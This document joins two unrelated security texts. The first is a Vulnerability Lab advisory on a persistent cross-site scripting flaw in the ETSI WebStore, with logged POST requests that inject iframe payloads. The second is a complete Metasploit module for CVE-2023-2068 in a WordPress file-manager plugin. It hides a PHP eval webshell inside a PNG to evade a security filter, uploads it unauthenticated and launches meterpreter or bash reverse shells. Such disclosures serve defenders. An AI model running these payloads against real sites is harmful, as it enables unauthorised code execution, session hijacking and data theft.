<pre><code>Document Title:<br />===============<br />ETSI WEBstore 2023 - Persistent Cross Site Vulnerability<br /><br /><br />References (Source):<br />====================<br />https://www.vulnerability-lab.com/get_content.php?id=2327<br /><br /><br />Release Date:<br />=============<br />2023-07-26<br /><br /><br />Vulnerability Laboratory ID (VL-ID):<br />====================================<br />2327<br /><br /><br />Common Vulnerability Scoring System:<br />====================================<br />4.6<br /><br /><br />Vulnerability Class:<br />====================<br />Cross Site Scripting - Persistent<br /><br /><br />Current Estimated Price:<br />========================<br />1.000€ - 2.000€<br /><br /><br />Abstract Advisory Information:<br />==============================<br />The vulnerability laboratory core research team discovered a persistent web vulnerability in the ETSI WebStore web-application.<br /><br /><br />Affected Product(s):<br />====================<br />European Telecommunications Standards Institute (ETSI)<br />Product: WEBstore 2023 - User Management (Web-Application)<br /><br /><br />Vulnerability Disclosure Timeline:<br />==================================<br />2023-07-26: Public Disclosure (Vulnerability Laboratory)<br /><br /><br />Discovery Status:<br />=================<br />Published<br /><br /><br />Exploitation Technique:<br />=======================<br />Remote<br /><br /><br />Severity Level:<br />===============<br />Medium<br /><br /><br />Authentication Type:<br />====================<br />Restricted Authentication (User Privileges)<br /><br /><br />User Interaction:<br />=================<br />Low User Interaction<br /><br /><br />Disclosure Type:<br />================<br />Independent Security Research<br /><br /><br />Technical Details & Description:<br />================================<br />A persistent input validation web vulnerability has been discovered in the official ETSI Webstore 2023 web-application.<br />The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise<br />browser to web-application requests from the application-side.<br /><br />The vulnerability is located in the all input fields of the NewOrModifyCustomer.asp registration / modify formular.<br />Remote attackers are able to inject own malicious script code with persistent attack vector by an inject in the<br />wrong sanitized input fields. The injection point is the registration or modify formular of the webstore.<br />The execution points are located in the index, listarticle, myprofiles and user backend listing of the webstore<br />web-appliation service.<br /><br />Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent<br />external redirects to malicious source and persistent manipulation of affected application modules.<br /><br />Request Methode:<br />[+] POST<br /><br />Vulnerable Inputs:<br />[+] first name<br />[+] last name<br />[+] company name<br />[+] address<br /><br />Affected Modules:<br />[+] MyProfile<br />[+] ListArticle<br />[+] ShowCustomer<br /><br /><br />Proof of Concept (PoC):<br />=======================<br />The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and low user interaction.<br />For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.<br /><br />Manual steps to reproduce the vulnerability ...<br />1. Register an account for the etsi webstore using the registration formular<br />2. Inject script code payloads to the firstname, lastname, companyname and address input fields<br />3. Save the account by submit via post method request<br />4. Confirm the email and logon to the account<br />Note: After the login the execution takes place in the header were the user data is show as well as in separated websites were adress data is displayed. On preview of the customer in the backend an execution of the malicious payload takes as well place.<br />5. Successful reproduce of the persistent web vulnerability!<br /><br /><br />--- PoC Session Logs (POST) [Inject & Execute] ---<br />https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp<br />Host: webstore.etsi.org<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: de,en-US;q=0.7,en;q=0.3<br />Accept-Encoding: gzip, deflate, br<br />Content-Type: application/x-www-form-urlencoded<br />Content-Length: 906<br />Origin:https://webstore.etsi.org<br />Connection: keep-alive<br />Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp<br />Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK<br />Upgrade-Insecure-Requests: 1<br />Sec-Fetch-Dest: document<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-User: ?1<br />NewOrExisting=NEW&eMail=tammy23@protonmail.com&password=cryptoag2&Company=A"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&ClientCode=&ClientCodeCSA3=,&Fname=B"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&member_orga_id=16173&Lname=C"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address1=D"><iframe src=https://shorturl.&PostalCode=51221&Address2=E"><iframe src=https://shorturl.&City=Bremen"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address3=F"><iframe src=https://shorturl.&Country=ALALBANIA&Phone=234534654364&Fax=&VATID=&FORM_DISCLAIMER=on&FORM_CAPTCHA=S430Q2&Submit=Submit<br />-<br />POST: HTTP/2.0 302 Found<br />cache-control: private<br />content-type: text/html<br />location: Listarticle.asp?list=2<br />server: Microsoft-IIS/10.0<br />x-frame-options: SAMEORIGIN<br />content-length: 143<br />-<br />https://webstore.etsi.org/ecommerce/Listarticle.asp?list=2<br />Host: webstore.etsi.org<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: de,en-US;q=0.7,en;q=0.3<br />Accept-Encoding: gzip, deflate, br<br />Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp<br />Connection: keep-alive<br />Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK<br />Upgrade-Insecure-Requests: 1<br />Sec-Fetch-Dest: document<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-User: ?1<br />-<br />POST: HTTP/2.0 200 OK<br />cache-control: private<br />content-type: text/html<br />content-encoding: gzip<br />vary: Accept-Encoding<br />server: Microsoft-IIS/10.0<br />set-cookie: list=2; path=/ecommerce<br />x-frame-options: SAMEORIGIN<br />-<br />https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp<br />Host: webstore.etsi.org<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: de,en-US;q=0.7,en;q=0.3<br />Accept-Encoding: gzip, deflate, br<br />Content-Type: application/x-www-form-urlencoded<br />Content-Length: 906<br />Origin:https://webstore.etsi.org<br />Connection: keep-alive<br />Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp<br />Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK<br />Upgrade-Insecure-Requests: 1<br />Sec-Fetch-Dest: document<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-User: ?1<br />NewOrExisting=NEW&eMail=tammy23@protonmail.com&password=cryptoag3&Company=A"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&ClientCode=&ClientCodeCSA3=,&Fname=B"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&member_orga_id=16173&Lname=C"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address1=D"><iframe src=https://shorturl.&PostalCode=51221&Address2=E"><iframe src=https://shorturl.&City=Bremen"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address3=F"><iframe src=https://shorturl.&Country=ALALBANIA&Phone=234534654364&Fax=&VATID=&FORM_DISCLAIMER=on&FORM_CAPTCHA=S430Q2&Submit=Submit<br />-<br />POST: HTTP/2.0 302 Found<br />cache-control: private<br />content-type: text/html<br />location: Listarticle.asp?list=2<br />server: Microsoft-IIS/10.0<br />x-frame-options: SAMEORIGIN<br />content-length: 143<br />-<br />https://webstore.etsi.org/ecommerce/Listarticle.asp?list=2<br />Host: webstore.etsi.org<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: de,en-US;q=0.7,en;q=0.3<br />Accept-Encoding: gzip, deflate, br<br />Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp<br />Connection: keep-alive<br />Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK<br />Upgrade-Insecure-Requests: 1<br />Sec-Fetch-Dest: document<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-User: ?1<br />-<br />POST: HTTP/2.0 200 OK<br />cache-control: private<br />content-type: text/html<br />content-encoding: gzip<br />vary: Accept-Encoding<br />server: Microsoft-IIS/10.0<br />set-cookie: list=2; path=/ecommerce<br />x-frame-options: SAMEORIGIN<br /><br /><br /><br />Vulnerable Source: Profile Header<br /><div id="bloclogin"><br /><div id="identify"><br /><b> B[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe><br />&nbsp;C[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe></b><br><br />A[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe><br /></div><br /><input type="button" onclick="window.location.href = '/ecommerce/ChangeExistingCustomer.asp'" value="My profile" id="inputheaderleft"><br /><input type="button" onclick="logout()" value="Logout" id="inputheaderright"><br /></div><br /><br /><br />Vulnerable Source: MyProfile<br /><tr><br /><td class="formlabel"><br /><label for="Company">Company name</label><br /></td><br /><td class="forminputleft"><br /><input tabindex="1" id="Company" class="inputform" name="Company" placeholder="Company name" value="A[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"/><br /></td><br /><td class="formlabel"><br />Client Code <br /></td><br /><td><br /><input type="hidden" name="ClientCode" value=""><br /><input type="hidden" name="ClientCodeCSA3" value=""><br /><input type="hidden" name="ClientCodeCSA3" value=""> <br /></td><br /></tr><br /><tr><br /><td colspan="2"> <br /></td> <br /><td class="formlabel"><br /><label for="Fname">First name <font color="red">*</font></label><br /></td><br /><td class="forminputright"><br /><input id="Fname" tabindex="3" class="inputform" name="Fname" placeholder="First name" value="B[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"><br /></td><br /></tr><br /><tr><br /><td class="formlabellong"><br />... <br /></td><br /><td class="formlabel"><br /><label for="Lname">Last name <font color="red">*</font></label><br /></td><br /><td><br /><input id="Lname" tabindex="6" class="inputform" placeholder="Last name" name="Lname" value="C[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"><br /></td><br /></tr><br /><br /><br />References:<br />https://webstore.etsi.org/ecommerce/<br />https://webstore.etsi.org/ecommerce/Listarticle.asp<br />https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp<br />https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp<br /><br /><br />Security Risk:<br />==============<br />The security risk of the persistent vulnerability in the webstore web-application of etsi is estimated as medium.<br /><br /><br />Credits & Authors:<br />==================<br />L. Guenther -https://www.vulnerability-lab.com/show.php?user=L.+Guenther<br /><br /><br />Disclaimer & Information:<br />=========================<br />The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,<br />either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab<br />or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits<br />or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do<br />not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.<br />We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.<br /><br />Domains: https://www.vulnerability-lab.com ; https://www.vuln-lab.com ;https://www.vulnerability-db.com<br /><br />Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.<br />Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other<br />media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other<br />information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or<br />edit our material contact (admin@ or research@) to get a ask permission.<br /><br /> Copyright © 2023 | Vulnerability Laboratory - [Evolution Security GmbH]™<br /><br /><br /><br />-- <br />VULNERABILITY LABORATORY (VULNERABILITY LAB)<br />RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE<br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::FileDropper<br /> include Msf::Exploit::Format::PhpPayloadPng<br /> include Msf::Exploit::Remote::HTTP::Wordpress<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Wordpress File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution through shortcode',<br /> 'Description' => %q{<br /> The Wordpress plugin does not adequately prevent uploading files with disallowed MIME types when using the shortcode.<br /> This leads to RCE in cases where the allowed MIME type list does not include PHP files.<br /> In the worst case, this is available to unauthenticated users, but is also works in an authenticated configuration.<br /> File Manager Advanced Shortcode plugin version `2.3.2` and lower are vulnerable.<br /> To install the Shortcode plugin File Manager Advanced version `5.0.5` or lower is required to keep the configuration<br /> vulnerable. Any user privileges can exploit this vulnerability which results in access to the underlying operating system<br /> with the same privileges under which the Wordpress web services run. <br /> },<br /> 'Author' => [<br /> 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module<br /> 'Mateus Machado Tesser' # discovery<br /> ],<br /> 'References' => [<br /> ['CVE', '2023-2068'],<br /> ['URL', 'https://attackerkb.com/topics/JncRCWZ5xm/cve-2023-2068'],<br /> ['PACKETSTORM', '172707'],<br /> ['WPVDB', '58f72953-56d2-4d86-a49b-311b5fc58056']<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => ['windows', 'unix', 'linux', 'php'],<br /> 'Privileged' => false,<br /> 'Arch' => [ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86, ARCH_AARCH64],<br /> 'Targets' => [<br /> [<br /> 'PHP',<br /> {<br /> 'Platform' => 'php',<br /> 'Arch' => ARCH_PHP,<br /> 'Type' => :php,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'php/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_bash'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],<br /> 'Type' => :linux_dropper,<br /> 'Linemax' => 65535,<br /> 'CmdStagerFlavor' => ['wget', 'curl', 'printf', 'bourne'],<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Windows Command',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :windows_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Windows Dropper',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => [ARCH_X64, ARCH_X86],<br /> 'Type' => :windows_dropper,<br /> 'Linemax' => 3000,<br /> 'CmdStagerFlavor' => ['psh_invokewebrequest', 'vbs', 'debug_asm', 'debug_write', 'certutil'],<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DisclosureDate' => '2023-05-31',<br /> 'DefaultOptions' => {<br /> 'SSL' => false,<br /> 'RPORT' => 80<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],<br /> 'Reliability' => [REPEATABLE_SESSION]<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> OptString.new('TARGETURI', [true, 'File Manager Advanced (FMA) Shortcode URI path', '/']),<br /> OptString.new('WEBSHELL', [<br /> false, 'The name of the webshell with extension php. Webshell name will be randomly generated if left unset.', nil<br /> ]),<br /> OptEnum.new('COMMAND',<br /> [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0])<br /> ]<br /> )<br /> end<br /><br /> def get_form_data(png_webshell)<br /> # construct multipart form data<br /> form_data = Rex::MIME::Message.new<br /> form_data.add_part('', nil, nil, 'form-data; name="reqid"')<br /> form_data.add_part('upload', nil, nil, 'form-data; name="cmd"')<br /> form_data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')<br /> form_data.add_part('fma_load_shortcode_fma_ui', nil, nil, 'form-data; name="action"')<br /> form_data.add_part(@wp_data['fmakey'].to_s, nil, nil, 'form-data; name="_fmakey"')<br /> form_data.add_part(@upload_path.to_s, nil, nil, 'form-data; name="path"')<br /> form_data.add_part('', nil, nil, 'form-data; name="url"')<br /> form_data.add_part('false', nil, nil, 'form-data; name="w"')<br /> form_data.add_part('true', nil, nil, 'form-data; name="r"')<br /> form_data.add_part('plugins', nil, nil, 'form-data; name="hide"')<br /> form_data.add_part('upload,download', nil, nil, 'form-data; name="operations"')<br /> form_data.add_part('inside', nil, nil, 'form-data; name="path_type"')<br /> form_data.add_part('no', nil, nil, 'form-data; name="hide_path"')<br /> form_data.add_part('no', nil, nil, 'form-data; name="enable_trash"')<br /> form_data.add_part('image/png,text/x-php', nil, nil, 'form-data; name="upload_allow"')<br /> form_data.add_part('2G', nil, nil, 'form-data; name="upload_max_size"')<br /> form_data.add_part(png_webshell.to_s, 'image/png, text/x-php', 'binary', "form-data; name=\"upload[]\"; filename=\"#{@webshell_name}\"")<br /> form_data.add_part('', nil, nil, 'form-data; name="mtime[]"')<br /> return form_data<br /> end<br /><br /> def upload_webshell<br /> # randomize file name if option WEBSHELL is not set<br /> @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : datastore['WEBSHELL'].to_s)<br /><br /> @post_param = Rex::Text.rand_text_alphanumeric(1..8)<br /> @get_param = Rex::Text.rand_text_alphanumeric(1..8)<br /><br /> payload = if target['Type'] == :php<br /> "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"<br /> else<br /> "<?=$_GET[\'#{@get_param}\'](base64_decode($_POST[\'#{@post_param}\']));?>"<br /> end<br /><br /> # inject PHP payload into the PLTE chunk of the PNG image to bypass security such as Wordfence<br /> png_webshell = inject_php_payload_png(payload, injection_method: 'PLTE')<br /> if png_webshell.nil?<br /> return false<br /> end<br /><br /> # Upload payload in Wordpress root for execution<br /> # try again at the configured upload directory if LFI fails<br /> @upload_path = ''<br /> no_break = true<br /> loop do<br /> form_data = get_form_data(png_webshell)<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri('/', @wp_data['baseurl'], 'wp-admin', 'admin-ajax.php'),<br /> 'ctype' => "multipart/form-data; boundary=#{form_data.bound}",<br /> 'data' => form_data.to_s<br /> })<br /> if res && res.code == 200 && !res.body.blank?<br /> # parse json to find the webshell name embedded in the response at the "added" section that indicates a successful upload<br /> res_json = res.get_json_document<br /> return false if res_json.blank?<br /> return true if res_json.dig('added', 0, 'name') == @webshell_name<br /><br /> # If we face an upload permission error, use the configured upload directory path to upload the payload<br /> # We might not have execution rights there, but at least we can try ;-)<br /> if res_json.dig('warning', 0) == 'errUploadFile' && res_json.dig('warning', 2) == 'errPerm' && no_break<br /> @upload_path = @wp_data['path']<br /> no_break = false<br /> else<br /> return false<br /> end<br /> else<br /> return false<br /> end<br /> end<br /> end<br /><br /> def execute_php(cmd, _opts = {})<br /> payload = Base64.strict_encode64(cmd)<br /> send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri('/', @wp_data['baseurl'], @upload_path, @webshell_name),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'vars_post' => {<br /> @post_param => payload<br /> }<br /> })<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> payload = Base64.strict_encode64(cmd)<br /> php_cmd_function = datastore['COMMAND']<br /> send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri('/', @wp_data['baseurl'], @upload_path, @webshell_name),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'vars_get' => {<br /> @get_param => php_cmd_function<br /> },<br /> 'vars_post' => {<br /> @post_param => payload<br /> }<br /> })<br /> end<br /><br /> def check_fma_shortcode_plugin<br /> # check if fma shortcode plugin is installed and return fmakey, upload directory path and Wordpress base url<br /> @wp_data = {}<br /> res = send_request_cgi!({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(datastore['TARGETURI'])<br /> })<br /> if res && res.body && res.code == 200<br /> # 1. Get the fmakey information by searching for strings:<br /> # /_fmakey: '1555ef603c',/ or /_fmakey:'1555ef603c',/ or /"fmakey":"1555ef603c",/<br /> fmakey_match1 = res.body.match(/_fmakey:.*'.*',/)<br /> fmakey_match2 = res.body.match(/"fmakey":".*",/)<br /> return if fmakey_match1.nil? && fmakey_match2.nil?<br /><br /> if fmakey_match1<br /> @wp_data['fmakey'] = fmakey_match1[0].split(',')[0].split(':')[1].tr('\'', '').strip<br /> else<br /> @wp_data['fmakey'] = fmakey_match2[0].split(',')[0].split(':')[1].tr('"', '').strip<br /> end<br /><br /> # 2. Get the upload directory path information by searching for strings:<br /> # /path: 'upload',/ or /path:'upload',/ or /"path":"upload",/<br /> path_match1 = res.body.match(/path:.*'.*',/)<br /> path_match2 = res.body.match(/"path":".*",/)<br /> return if path_match1.nil? && path_match2.nil?<br /><br /> if path_match1<br /> @wp_data['path'] = path_match1[0].split(',')[0].split(':')[1].tr('\'', '').strip<br /> else<br /> @wp_data['path'] = path_match2[0].split(',')[0].split(':')[1].tr('"', '').strip<br /> end<br /><br /> # 3. Determine Wordpress baseurl<br /> # search in html content for:<br /> # <script src='http(s)://ip/<wp-base>/wp-content/plugins/file-manager-advanced-shortcode/js/shortcode.js?ver=6.2.2' id='fma-shortcode-js-js'></script><br /> # split off /wp-content and http(s)://ip part to determine the <wp-base> which can be empty.<br /> baseurl_match = res.body.match(%r{src=.*wp-content/plugins/file-manager-advanced-shortcode/})<br /> return if baseurl_match.nil?<br /><br /> @wp_data['baseurl'] = baseurl_match[0].split('/wp-content')[0].split('/')[3]<br /> end<br /> end<br /><br /> def check<br /> return CheckCode::Safe('Server not online or not detected as WordPress.') unless wordpress_and_online?<br /><br /> check_fma_shortcode_plugin<br /> return CheckCode::Safe("Could not find fmakey. Shortcode plugin not installed or check your TARGETURI \"#{datastore['TARGETURI']}\" setting.") if @wp_data['fmakey'].nil?<br /><br /> CheckCode::Appears("fmakey successfully retrieved: #{@wp_data['fmakey']}")<br /> end<br /><br /> def exploit<br /> # check if fmakey is already set from the check method otherwise try to find the key.<br /> check_fma_shortcode_plugin unless datastore['AutoCheck']<br /> fail_with(Failure::NotVulnerable, "Could not find fmakey. Shortcode plugin not installed or check your TARGETURI \"#{datastore['TARGETURI']}\" setting.") if @wp_data['fmakey'].nil?<br /><br /> fail_with(Failure::NotVulnerable, "Webshell #{@webshell_name} upload failed.") unless upload_webshell<br /> register_file_for_cleanup(@webshell_name.to_s)<br /><br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /> case target['Type']<br /> when :php<br /> execute_php(payload.encoded)<br /> when :unix_cmd, :windows_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper, :windows_dropper<br /> execute_cmdstager({ linemax: target.opts['Linemax'] })<br /> end<br /> end<br />end<br /></code></pre>